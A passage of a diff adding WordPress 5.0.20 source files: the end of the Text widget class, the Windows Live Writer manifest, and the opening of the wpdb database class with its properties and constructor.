+			foreach ( $element->attributes as $attribute ) {
+				/** @var DOMAttr $attribute */
+				$attribute_name = strtolower( $attribute->nodeName );
+
+				if ( ! isset( $safe_elements_attributes[ $tag_name ][ $attribute_name ] ) ) {
+					return true;
+				}
+			}
+		}
+
+		// Otherwise, the text contains no elements/attributes that TinyMCE could drop, and therefore the widget does not need legacy mode.
+		return false;
+	}
+
+	/**
+	 * Filter gallery shortcode attributes.
+	 *
+	 * Prevents all of a site's attachments from being shown in a gallery displayed on a
+	 * non-singular template where a $post context is not available.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $attrs Attributes.
+	 * @return array Attributes.
+	 */
+	public function _filter_gallery_shortcode_attrs( $attrs ) {
+		if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) {
+			$attrs['id'] = -1;
+		}
+		return $attrs;
+	}
+
+	/**
+	 * Outputs the content for the current Text widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global WP_Post $post
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Text widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		global $post;
+
+		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$text = ! empty( $instance['text'] ) ? $instance['text'] : '';
+		$is_visual_text_widget = ( ! empty( $instance['visual'] ) && ! empty( $instance['filter'] ) );
+
+		// In 4.8.0 only, visual Text widgets get filter=content, without visual prop; upgrade instance props just-in-time.
+		if ( ! $is_visual_text_widget ) {
+			$is_visual_text_widget = ( isset( $instance['filter'] ) && 'content' === $instance['filter'] );
+		}
+		if ( $is_visual_text_widget ) {
+			$instance['filter'] = true;
+			$instance['visual'] = true;
+		}
+
+		/*
+		 * Suspend legacy plugin-supplied do_shortcode() for 'widget_text' filter for the visual Text widget to prevent
+		 * shortcodes being processed twice. Now do_shortcode() is added to the 'widget_text_content' filter in core itself
+		 * and it applies after wpautop() to prevent corrupting HTML output added by the shortcode. When do_shortcode() is
+		 * added to 'widget_text_content' then do_shortcode() will be manually called when in legacy mode as well.
+		 */
+		$widget_text_do_shortcode_priority = has_filter( 'widget_text', 'do_shortcode' );
+		$should_suspend_legacy_shortcode_support = ( $is_visual_text_widget && false !== $widget_text_do_shortcode_priority );
+		if ( $should_suspend_legacy_shortcode_support ) {
+			remove_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority );
+		}
+
+		// Override global $post so filters (and shortcodes) apply in a consistent context.
+		$original_post = $post;
+		if ( is_singular() ) {
+			// Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post).
+			$post = get_queried_object();
+		} else {
+			// Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries.
+			$post = null;
+		}
+
+		// Prevent dumping out all attachments from the media library.
+		add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );
+
+		/**
+		 * Filters the content of the Text widget.
+		 *
+		 * @since 2.3.0
+		 * @since 4.4.0 Added the `$this` parameter.
+		 * @since 4.8.1 The `$this` param may now be a `WP_Widget_Custom_HTML` object in addition to a `WP_Widget_Text` object.
+		 *
+		 * @param string                               $text     The widget content.
+		 * @param array                                $instance Array of settings for the current widget.
+		 * @param WP_Widget_Text|WP_Widget_Custom_HTML $this     Current Text widget instance.
+		 */
+		$text = apply_filters( 'widget_text', $text, $instance, $this );
+
+		if ( $is_visual_text_widget ) {
+
+			/**
+			 * Filters the content of the Text widget to apply changes expected from the visual (TinyMCE) editor.
+			 *
+			 * By default a subset of the_content filters are applied, including wpautop and wptexturize.
+			 *
+			 * @since 4.8.0
+			 *
+			 * @param string         $text     The widget content.
+			 * @param array          $instance Array of settings for the current widget.
+			 * @param WP_Widget_Text $this     Current Text widget instance.
+			 */
+			$text = apply_filters( 'widget_text_content', $text, $instance, $this );
+		} else {
+			// Now in legacy mode, add paragraphs and line breaks when checkbox is checked.
+			if ( ! empty( $instance['filter'] ) ) {
+				$text = wpautop( $text );
+			}
+
+			/*
+			 * Manually do shortcodes on the content when the core-added filter is present. It is added by default
+			 * in core by adding do_shortcode() to the 'widget_text_content' filter to apply after wpautop().
+			 * Since the legacy Text widget runs wpautop() after 'widget_text' filters are applied, the widget in
+			 * legacy mode here manually applies do_shortcode() on the content unless the default
+			 * core filter for 'widget_text_content' has been removed, or if do_shortcode() has already
+			 * been applied via a plugin adding do_shortcode() to 'widget_text' filters.
+			 */
+			if ( has_filter( 'widget_text_content', 'do_shortcode' ) && ! $widget_text_do_shortcode_priority ) {
+				if ( ! empty( $instance['filter'] ) ) {
+					$text = shortcode_unautop( $text );
+				}
+				$text = do_shortcode( $text );
+			}
+		}
+
+		// Restore post global.
+		$post = $original_post;
+		remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );
+
+		// Undo suspension of legacy plugin-supplied shortcode handling.
+		if ( $should_suspend_legacy_shortcode_support ) {
+			add_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority );
+		}
+
+		echo $args['before_widget'];
+		if ( ! empty( $title ) ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		$text = preg_replace_callback( '#<(video|iframe|object|embed)\s[^>]*>#i', array( $this, 'inject_video_max_width_style' ), $text );
+
+		?>
+			<div class="textwidget"><?php echo $text; ?></div>
+		<?php
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Inject max-width and remove height for videos too constrained to fit inside sidebars on frontend.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @see WP_Widget_Media_Video::inject_video_max_width_style()
+	 * @param array $matches Pattern matches from preg_replace_callback.
+	 * @return string HTML Output.
+	 */
+	public function inject_video_max_width_style( $matches ) {
+		$html = $matches[0];
+		$html = preg_replace( '/\sheight="\d+"/', '', $html );
+		$html = preg_replace( '/\swidth="\d+"/', '', $html );
+		$html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html );
+		return $html;
+	}
+
+	/**
+	 * Handles updating settings for the current Text widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Settings to save or bool false to cancel saving.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$new_instance = wp_parse_args( $new_instance, array(
+			'title' => '',
+			'text' => '',
+			'filter' => false, // For back-compat.
+			'visual' => null, // Must be explicitly defined.
+		) );
+
+		$instance = $old_instance;
+
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		if ( current_user_can( 'unfiltered_html' ) ) {
+			$instance['text'] = $new_instance['text'];
+		} else {
+			$instance['text'] = wp_kses_post( $new_instance['text'] );
+		}
+
+		$instance['filter'] = ! empty( $new_instance['filter'] );
+
+		// Upgrade 4.8.0 format.
+		if ( isset( $old_instance['filter'] ) && 'content' === $old_instance['filter'] ) {
+			$instance['visual'] = true;
+		}
+		if ( 'content' === $new_instance['filter'] ) {
+			$instance['visual'] = true;
+		}
+
+		if ( isset( $new_instance['visual'] ) ) {
+			$instance['visual'] = ! empty( $new_instance['visual'] );
+		}
+
+		// Filter is always true in visual mode.
+		if ( ! empty( $instance['visual'] ) ) {
+			$instance['filter'] = true;
+		}
+
+		return $instance;
+	}
+
+	/**
+	 * Enqueue preview scripts.
+	 *
+	 * These scripts normally are enqueued just-in-time when a playlist shortcode is used.
+	 * However, in the customizer, a playlist shortcode may be used in a text widget and
+	 * dynamically added via selective refresh, so it is important to unconditionally enqueue them.
+	 *
+	 * @since 4.9.3
+	 */
+	public function enqueue_preview_scripts() {
+		require_once dirname( dirname( __FILE__ ) ) . '/media.php';
+
+		wp_playlist_scripts( 'audio' );
+		wp_playlist_scripts( 'video' );
+	}
+
+	/**
+	 * Loads the required scripts and styles for the widget control.
+	 *
+	 * @since 4.8.0
+	 */
+	public function enqueue_admin_scripts() {
+		wp_enqueue_editor();
+		wp_enqueue_media();
+		wp_enqueue_script( 'text-widgets' );
+		wp_add_inline_script( 'text-widgets', 'wp.textWidgets.init();', 'after' );
+	}
+
+	/**
+	 * Outputs the Text widget settings form.
+	 *
+	 * @since 2.8.0
+	 * @since 4.8.0 Form only contains hidden inputs which are synced with JS template.
+	 * @since 4.8.1 Restored original form to be displayed when in legacy mode.
+	 * @see WP_Widget_Visual_Text::render_control_template_scripts()
+	 * @see _WP_Editors::editor()
+	 *
+	 * @param array $instance Current settings.
+	 * @return void
+	 */
+	public function form( $instance ) {
+		$instance = wp_parse_args(
+			(array) $instance,
+			array(
+				'title' => '',
+				'text' => '',
+			)
+		);
+		?>
+		<?php if ( ! $this->is_legacy_instance( $instance ) ) : ?>
+			<?php
+
+			if ( user_can_richedit() ) {
+				add_filter( 'the_editor_content', 'format_for_editor', 10, 2 );
+				$default_editor = 'tinymce';
+			} else {
+				$default_editor = 'html';
+			}
+
+			/** This filter is documented in wp-includes/class-wp-editor.php */
+			$text = apply_filters( 'the_editor_content', $instance['text'], $default_editor );
+
+			// Reset filter addition.
+			if ( user_can_richedit() ) {
+				remove_filter( 'the_editor_content', 'format_for_editor' );
+			}
+
+			// Prevent premature closing of textarea in case format_for_editor() didn't apply or the_editor_content filter did a wrong thing.
+			$escaped_text = preg_replace( '#</textarea#i', '&lt;/textarea', $text );
+
+			?>
+			<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>">
+			<textarea id="<?php echo $this->get_field_id( 'text' ); ?>" name="<?php echo $this->get_field_name( 'text' ); ?>" class="text sync-input" hidden><?php echo $escaped_text; ?></textarea>
+			<input id="<?php echo $this->get_field_id( 'filter' ); ?>" name="<?php echo $this->get_field_name( 'filter' ); ?>" class="filter sync-input" type="hidden" value="on">
+			<input id="<?php echo $this->get_field_id( 'visual' ); ?>" name="<?php echo $this->get_field_name( 'visual' ); ?>" class="visual sync-input" type="hidden" value="on">
+		<?php else : ?>
+			<input id="<?php echo $this->get_field_id( 'visual' ); ?>" name="<?php echo $this->get_field_name( 'visual' ); ?>" class="visual" type="hidden" value="">
+			<p>
+				<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
+				<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>"/>
+			</p>
+			<div class="notice inline notice-info notice-alt">
+				<?php if ( ! isset( $instance['visual'] ) ) : ?>
+					<p><?php _e( 'This widget may contain code that may work better in the &#8220;Custom HTML&#8221; widget. How about trying that widget instead?' ); ?></p>
+				<?php else : ?>
+					<p><?php _e( 'This widget may have contained code that may work better in the &#8220;Custom HTML&#8221; widget. If you haven&#8217;t yet, how about trying that widget instead?' ); ?></p>
+				<?php endif; ?>
+			</div>
+			<p>
+				<label for="<?php echo $this->get_field_id( 'text' ); ?>"><?php _e( 'Content:' ); ?></label>
+				<textarea class="widefat" rows="16" cols="20" id="<?php echo $this->get_field_id( 'text' ); ?>" name="<?php echo $this->get_field_name( 'text' ); ?>"><?php echo esc_textarea( $instance['text'] ); ?></textarea>
+			</p>
+			<p>
+				<input id="<?php echo $this->get_field_id( 'filter' ); ?>" name="<?php echo $this->get_field_name( 'filter' ); ?>" type="checkbox"<?php checked( ! empty( $instance['filter'] ) ); ?> />&nbsp;<label for="<?php echo $this->get_field_id( 'filter' ); ?>"><?php _e( 'Automatically add paragraphs' ); ?></label>
+			</p>
+		<?php
+		endif;
+	}
+
+	/**
+	 * Render form template scripts.
+	 *
+	 * @since 4.8.0
+	 * @since 4.9.0 The method is now static.
+	 */
+	public static function render_control_template_scripts() {
+		$dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
+		?>
+		<script type="text/html" id="tmpl-widget-text-control-fields">
+			<# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #>
+			<p>
+				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
+				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
+			</p>
+
+			<?php if ( ! in_array( 'text_widget_custom_html', $dismissed_pointers, true ) ) : ?>
+				<div hidden class="wp-pointer custom-html-widget-pointer wp-pointer-top">
+					<div class="wp-pointer-content">
+						<h3><?php _e( 'New Custom HTML Widget' ); ?></h3>
+						<?php if ( is_customize_preview() ) : ?>
+							<p><?php _e( 'Did you know there is a &#8220;Custom HTML&#8221; widget now? You can find it by pressing the &#8220;<a class="add-widget" href="#">Add a Widget</a>&#8221; button and searching for &#8220;HTML&#8221;. Check it out to add some custom code to your site!' ); ?></p>
+						<?php else : ?>
+							<p><?php _e( 'Did you know there is a &#8220;Custom HTML&#8221; widget now? You can find it by scanning the list of available widgets on this screen. Check it out to add some custom code to your site!' ); ?></p>
+						<?php endif; ?>
+						<div class="wp-pointer-buttons">
+							<a class="close" href="#"><?php _e( 'Dismiss' ); ?></a>
+						</div>
+					</div>
+					<div class="wp-pointer-arrow">
+						<div class="wp-pointer-arrow-inner"></div>
+					</div>
+				</div>
+			<?php endif; ?>
+
+			<?php if ( ! in_array( 'text_widget_paste_html', $dismissed_pointers, true ) ) : ?>
+				<div hidden class="wp-pointer paste-html-pointer wp-pointer-top">
+					<div class="wp-pointer-content">
+						<h3><?php _e( 'Did you just paste HTML?' ); ?></h3>
+						<p><?php _e( 'Hey there, looks like you just pasted HTML into the &#8220;Visual&#8221; tab of the Text widget. You may want to paste your code into the &#8220;Text&#8221; tab instead. Alternately, try out the new &#8220;Custom HTML&#8221; widget!' ); ?></p>
+						<div class="wp-pointer-buttons">
+							<a class="close" href="#"><?php _e( 'Dismiss' ); ?></a>
+						</div>
+					</div>
+					<div class="wp-pointer-arrow">
+						<div class="wp-pointer-arrow-inner"></div>
+					</div>
+				</div>
+			<?php endif; ?>
+
+			<p>
+				<label for="{{ elementIdPrefix }}text" class="screen-reader-text"><?php esc_html_e( 'Content:' ); ?></label>
+				<textarea id="{{ elementIdPrefix }}text" class="widefat text wp-editor-area" style="height: 200px" rows="16" cols="20"></textarea>
+			</p>
+		</script>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/wlwmanifest.xml
===================================================================
--- /tags/5.0.20/src/wp-includes/wlwmanifest.xml	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/wlwmanifest.xml	(revision 56912)
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8" ?>
+
+<manifest xmlns="http://schemas.microsoft.com/wlw/manifest/weblog">
+
+  <options>
+    <clientType>WordPress</clientType>
+	<supportsKeywords>Yes</supportsKeywords>
+	<supportsGetTags>Yes</supportsGetTags>
+  </options>
+
+  <weblog>
+    <serviceName>WordPress</serviceName>
+    <imageUrl>images/wlw/wp-icon.png</imageUrl>
+    <watermarkImageUrl>images/wlw/wp-watermark.png</watermarkImageUrl>
+    <homepageLinkText>View site</homepageLinkText>
+    <adminLinkText>Dashboard</adminLinkText>
+    <adminUrl>
+      <![CDATA[
+			{blog-postapi-url}/../wp-admin/
+		]]>
+    </adminUrl>
+    <postEditingUrl>
+      <![CDATA[
+			{blog-postapi-url}/../wp-admin/post.php?action=edit&post={post-id}
+		]]>
+    </postEditingUrl>
+  </weblog>
+
+  <buttons>
+    <button>
+      <id>0</id>
+      <text>Manage Comments</text>
+      <imageUrl>images/wlw/wp-comments.png</imageUrl>
+      <clickUrl>
+        <![CDATA[
+				{blog-postapi-url}/../wp-admin/edit-comments.php
+			]]>
+      </clickUrl>
+    </button>
+
+  </buttons>
+
+</manifest>
Index: /tags/5.0.20/src/wp-includes/wp-db.php
===================================================================
--- /tags/5.0.20/src/wp-includes/wp-db.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/wp-db.php	(revision 56912)
@@ -0,0 +1,3435 @@
+<?php
+/**
+ * WordPress DB Class
+ *
+ * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)}
+ *
+ * @package WordPress
+ * @subpackage Database
+ * @since 0.71
+ */
+
+/**
+ * @since 0.71
+ */
+define( 'EZSQL_VERSION', 'WP1.25' );
+
+/**
+ * @since 0.71
+ */
+define( 'OBJECT', 'OBJECT' );
+define( 'object', 'OBJECT' ); // Back compat.
+
+/**
+ * @since 2.5.0
+ */
+define( 'OBJECT_K', 'OBJECT_K' );
+
+/**
+ * @since 0.71
+ */
+define( 'ARRAY_A', 'ARRAY_A' );
+
+/**
+ * @since 0.71
+ */
+define( 'ARRAY_N', 'ARRAY_N' );
+
+/**
+ * WordPress Database Access Abstraction Object
+ *
+ * It is possible to replace this class with your own
+ * by setting the $wpdb global variable in wp-content/db.php
+ * file to your class. The wpdb class will still be included,
+ * so you can extend it or simply use your own.
+ *
+ * @link https://codex.wordpress.org/Function_Reference/wpdb_Class
+ *
+ * @since 0.71
+ */
+class wpdb {
+
+	/**
+	 * Whether to show SQL/DB errors.
+	 *
+	 * Default behavior is to show errors if both WP_DEBUG and WP_DEBUG_DISPLAY
+	 * evaluated to true.
+	 *
+	 * @since 0.71
+	 * @var bool
+	 */
+	var $show_errors = false;
+
+	/**
+	 * Whether to suppress errors during the DB bootstrapping.
+	 *
+	 * @since 2.5.0
+	 * @var bool
+	 */
+	var $suppress_errors = false;
+
+	/**
+	 * The last error during query.
+	 *
+	 * @since 2.5.0
+	 * @var string
+	 */
+	public $last_error = '';
+
+	/**
+	 * Amount of queries made
+	 *
+	 * @since 1.2.0
+	 * @var int
+	 */
+	public $num_queries = 0;
+
+	/**
+	 * Count of rows returned by previous query
+	 *
+	 * @since 0.71
+	 * @var int
+	 */
+	public $num_rows = 0;
+
+	/**
+	 * Count of affected rows by previous query
+	 *
+	 * @since 0.71
+	 * @var int
+	 */
+	var $rows_affected = 0;
+
+	/**
+	 * The ID generated for an AUTO_INCREMENT column by the previous query (usually INSERT).
+	 *
+	 * @since 0.71
+	 * @var int
+	 */
+	public $insert_id = 0;
+
+	/**
+	 * Last query made
+	 *
+	 * @since 0.71
+	 * @var array
+	 */
+	var $last_query;
+
+	/**
+	 * Results of the last query made
+	 *
+	 * @since 0.71
+	 * @var array|null
+	 */
+	var $last_result;
+
+	/**
+	 * MySQL result, which is either a resource or boolean.
+	 *
+	 * @since 0.71
+	 * @var mixed
+	 */
+	protected $result;
+
+	/**
+	 * Cached column info, for sanity checking data before inserting
+	 *
+	 * @since 4.2.0
+	 * @var array
+	 */
+	protected $col_meta = array();
+
+	/**
+	 * Calculated character sets on tables
+	 *
+	 * @since 4.2.0
+	 * @var array
+	 */
+	protected $table_charset = array();
+
+	/**
+	 * Whether text fields in the current query need to be sanity checked.
+	 *
+	 * @since 4.2.0
+	 * @var bool
+	 */
+	protected $check_current_query = true;
+
+	/**
+	 * Flag to ensure we don't run into recursion problems when checking the collation.
+	 *
+	 * @since 4.2.0
+	 * @see wpdb::check_safe_collation()
+	 * @var bool
+	 */
+	private $checking_collation = false;
+
+	/**
+	 * Saved info on the table column
+	 *
+	 * @since 0.71
+	 * @var array
+	 */
+	protected $col_info;
+
+	/**
+	 * Saved queries that were executed
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	var $queries;
+
+	/**
+	 * The number of times to retry reconnecting before dying.
+	 *
+	 * @since 3.9.0
+	 * @see wpdb::check_connection()
+	 * @var int
+	 */
+	protected $reconnect_retries = 5;
+
+	/**
+	 * WordPress table prefix
+	 *
+	 * You can set this to have multiple WordPress installations
+	 * in a single database. The second reason is for possible
+	 * security precautions.
+	 *
+	 * @since 2.5.0
+	 * @var string
+	 */
+	public $prefix = '';
+
+	/**
+	 * WordPress base table prefix.
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	 public $base_prefix;
+
+	/**
+	 * Whether the database queries are ready to start executing.
+	 *
+	 * @since 2.3.2
+	 * @var bool
+	 */
+	var $ready = false;
+
+	/**
+	 * Blog ID.
+	 *
+	 * @since 3.0.0
+	 * @var int
+	 */
+	public $blogid = 0;
+
+	/**
+	 * Site ID.
+	 *
+	 * @since 3.0.0
+	 * @var int
+	 */
+	public $siteid = 0;
+
+	/**
+	 * List of WordPress per-blog tables
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::tables()
+	 * @var array
+	 */
+	var $tables = array( 'posts', 'comments', 'links', 'options', 'postmeta',
+		'terms', 'term_taxonomy', 'term_relationships', 'termmeta', 'commentmeta' );
+
+	/**
+	 * List of deprecated WordPress tables
+	 *
+	 * categories, post2cat, and link2cat were deprecated in 2.3.0, db version 5539
+	 *
+	 * @since 2.9.0
+	 * @see wpdb::tables()
+	 * @var array
+	 */
+	var $old_tables = array( 'categories', 'post2cat', 'link2cat' );
+
+	/**
+	 * List of WordPress global tables
+	 *
+	 * @since 3.0.0
+	 * @see wpdb::tables()
+	 * @var array
+	 */
+	var $global_tables = array( 'users', 'usermeta' );
+
+	/**
+	 * List of Multisite global tables
+	 *
+	 * @since 3.0.0
+	 * @see wpdb::tables()
+	 * @var array
+	 */
+	var $ms_global_tables = array( 'blogs', 'signups', 'site', 'sitemeta',
+		'sitecategories', 'registration_log', 'blog_versions' );
+
+	/**
+	 * WordPress Comments table
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	public $comments;
+
+	/**
+	 * WordPress Comment Metadata table
+	 *
+	 * @since 2.9.0
+	 * @var string
+	 */
+	public $commentmeta;
+
+	/**
+	 * WordPress Links table
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	public $links;
+
+	/**
+	 * WordPress Options table
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	public $options;
+
+	/**
+	 * WordPress Post Metadata table
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	public $postmeta;
+
+	/**
+	 * WordPress Posts table
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	public $posts;
+
+	/**
+	 * WordPress Terms table
+	 *
+	 * @since 2.3.0
+	 * @var string
+	 */
+	public $terms;
+
+	/**
+	 * WordPress Term Relationships table
+	 *
+	 * @since 2.3.0
+	 * @var string
+	 */
+	public $term_relationships;
+
+	/**
+	 * WordPress Term Taxonomy table
+	 *
+	 * @since 2.3.0
+	 * @var string
+	 */
+	public $term_taxonomy;
+
+	/**
+	 * WordPress Term Meta table.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $termmeta;
+
+	//
+	// Global and Multisite tables
+	//
+
+	/**
+	 * WordPress User Metadata table
+	 *
+	 * @since 2.3.0
+	 * @var string
+	 */
+	public $usermeta;
+
+	/**
+	 * WordPress Users table
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	public $users;
+
+	/**
+	 * Multisite Blogs table
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $blogs;
+
+	/**
+	 * Multisite Blog Versions table
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $blog_versions;
+
+	/**
+	 * Multisite Registration Log table
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $registration_log;
+
+	/**
+	 * Multisite Signups table
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $signups;
+
+	/**
+	 * Multisite Sites table
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $site;
+
+	/**
+	 * Multisite Sitewide Terms table
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $sitecategories;
+
+	/**
+	 * Multisite Site Metadata table
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $sitemeta;
+
+	/**
+	 * Format specifiers for DB columns. Columns not listed here default to %s. Initialized during WP load.
+	 *
+	 * Keys are column names, values are format types: 'ID' => '%d'
+	 *
+	 * @since 2.8.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::insert()
+	 * @see wpdb::update()
+	 * @see wpdb::delete()
+	 * @see wp_set_wpdb_vars()
+	 * @var array
+	 */
+	public $field_types = array();
+
+	/**
+	 * Database table columns charset
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	public $charset;
+
+	/**
+	 * Database table columns collate
+	 *
+	 * @since 2.2.0
+	 * @var string
+	 */
+	public $collate;
+
+	/**
+	 * Database Username
+	 *
+	 * @since 2.9.0
+	 * @var string
+	 */
+	protected $dbuser;
+
+	/**
+	 * Database Password
+	 *
+	 * @since 3.1.0
+	 * @var string
+	 */
+	protected $dbpassword;
+
+	/**
+	 * Database Name
+	 *
+	 * @since 3.1.0
+	 * @var string
+	 */
+	protected $dbname;
+
+	/**
+	 * Database Host
+	 *
+	 * @since 3.1.0
+	 * @var string
+	 */
+	protected $dbhost;
+
+	/**
+	 * Database Handle
+	 *
+	 * @since 0.71
+	 * @var string
+	 */
+	protected $dbh;
+
+	/**
+	 * A textual description of the last query/get_row/get_var call
+	 *
+	 * @since 3.0.0
+	 * @var string
+	 */
+	public $func_call;
+
+	/**
+	 * Whether MySQL is used as the database engine.
+	 *
+	 * Set in WPDB::db_connect() to true, by default. This is used when checking
+	 * against the required MySQL version for WordPress. Normally, a replacement
+	 * database drop-in (db.php) will skip these checks, but setting this to true
+	 * will force the checks to occur.
+	 *
+	 * @since 3.3.0
+	 * @var bool
+	 */
+	public $is_mysql = null;
+
+	/**
+	 * A list of incompatible SQL modes.
+	 *
+	 * @since 3.9.0
+	 * @var array
+	 */
+	protected $incompatible_modes = array( 'NO_ZERO_DATE', 'ONLY_FULL_GROUP_BY',
+		'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES', 'TRADITIONAL' );
+
+	/**
+	 * Whether to use mysqli over mysql.
+	 *
+	 * @since 3.9.0
+	 * @var bool
+	 */
+	private $use_mysqli = false;
+
+	/**
+	 * Whether we've managed to successfully connect at some point
+	 *
+	 * @since 3.9.0
+	 * @var bool
+	 */
+	private $has_connected = false;
+
+	/**
+	 * Connects to the database server and selects a database
+	 *
+	 * PHP5 style constructor for compatibility with PHP5. Does
+	 * the actual setting up of the class properties and connection
+	 * to the database.
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/3354
+	 * @since 2.0.8
+	 *
+	 * @global string $wp_version
+	 *
+	 * @param string $dbuser     MySQL database user
+	 * @param string $dbpassword MySQL database password
+	 * @param string $dbname     MySQL database name
+	 * @param string $dbhost     MySQL database host
+	 */
+	public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) {
+		register_shutdown_function( array( $this, '__destruct' ) );
+
+		if ( WP_DEBUG && WP_DEBUG_DISPLAY )
+			$this->show_errors();
+
+		// Use ext/mysqli if it exists unless WP_USE_EXT_MYSQL is defined as true
+		if ( function_exists( 'mysqli_connect' ) ) {
+			$this->use_mysqli = true;
+
+			if ( defined( 'WP_USE_EXT_MYSQL' ) ) {
+				$this->use_mysqli = ! WP_USE_EXT_MYSQL;
+			}
+		}
+
+		$this->dbuser = $dbuser;
+		$this->dbpassword = $dbpassword;
+		$this->dbname = $dbname;
+		$this->dbhost = $dbhost;
+
+		// wp-config.php creation will manually connect when ready.
+		if ( defined( 'WP_SETUP_CONFIG' ) ) {
+			return;
+		}
+
+		$this->db_connect();
+	}
+
+	/**
+	 * PHP5 style destructor and will run when database object is destroyed.
+	 *
+	 * @see wpdb::__construct()
+	 * @since 2.0.8
+	 * @return true
+	 */
+	public function __destruct() {
+		return true;
+	}
+
+	/**
+	 * Makes private properties readable for backward compatibility.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $name The private member to get, and optionally process
+	 * @return mixed The private member
+	 */
+	public function __get( $name ) {
+		if ( 'col_info' === $name )
+			$this->load_col_info();
+
+		return $this->$name;
+	}
+
+	/**
+	 * Makes private properties settable for backward compatibility.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $name  The private member to set
+	 * @param mixed  $value The value to set
+	 */
+	public function __set( $name, $value ) {
+		$protected_members = array(
+			'col_meta',
+			'table_charset',
+			'check_current_query',
+		);
+		if (  in_array( $name, $protected_members, true ) ) {
+			return;
+		}
+		$this->$name = $value;
+	}
+
+	/**
+	 * Makes private properties check-able for backward compatibility.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $name  The private member to check
+	 *
+	 * @return bool If the member is set or not
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Makes private properties un-settable for backward compatibility.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $name  The private member to unset
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Set $this->charset and $this->collate
+	 *
+	 * @since 3.1.0
+	 */
+	public function init_charset() {
+		$charset = '';
+		$collate = '';
+
+		if ( function_exists('is_multisite') && is_multisite() ) {
+			$charset = 'utf8';
+			if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
+				$collate = DB_COLLATE;
+			} else {
+				$collate = 'utf8_general_ci';
+			}
+		} elseif ( defined( 'DB_COLLATE' ) ) {
+			$collate = DB_COLLATE;
+		}
+
+		if ( defined( 'DB_CHARSET' ) ) {
+			$charset = DB_CHARSET;
+		}
+
+		$charset_collate = $this->determine_charset( $charset, $collate );
+
+		$this->charset = $charset_collate['charset'];
+		$this->collate = $charset_collate['collate'];
+	}
+
+	/**
+	 * Determines the best charset and collation to use given a charset and collation.
+	 *
+	 * For example, when able, utf8mb4 should be used instead of utf8.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $charset The character set to check.
+	 * @param string $collate The collation to check.
+	 * @return array The most appropriate character set and collation to use.
+	 */
+	public function determine_charset( $charset, $collate ) {
